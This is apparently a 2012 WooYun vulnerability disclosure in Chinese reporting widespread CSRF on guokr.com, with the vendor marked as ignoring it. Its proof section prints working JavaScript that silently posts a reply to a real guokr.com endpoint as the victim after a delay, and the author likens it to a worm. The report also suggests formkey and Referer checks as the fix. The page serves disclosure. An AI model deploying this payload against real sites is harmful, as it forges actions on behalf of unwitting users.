当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-011556

漏洞标题：果壳网架构设置缺陷导致CSRF泛滥

相关厂商：果壳传媒

漏洞作者： _Evil

提交时间：2012-08-30 16:04

修复时间：2012-09-04 16:05

公开时间：2012-09-04 16:05

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-08-30： 细节已通知厂商并且等待厂商处理中
2012-09-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

果壳网架构设置缺陷导致CSRF泛滥。求礼物的。。

详细说明：

到处是CSRF啊。
http://www.guokr.com/post/327306/?replypage=1#reply1895695
http://www.guokr.com/post/327306/?replypage=1#reply1895697



这是个普通证明,果壳网回复需要10秒嗯? 加关注+留言。。。。

漏洞证明：

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 
'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request; 
setTimeout("ajax()",10500);
function ajax(){
var url="http://www.guokr.com/reply/new/post/327306/"; //请求地址
var params ="I love you! Happiness and wealth, and the inner link!";  //post内容
xmlhttp.open("post", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
}


和虫子有得比 哈哈。

修复方案：

formkey 和Referer验证 可以和同行(zhihu.com)讨论下技术,他们防范不错~ 或者联系菜鸟我。

版权声明：转载请注明来源 _Evil@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-09-04 16:05

厂商回复：

最新状态：

暂无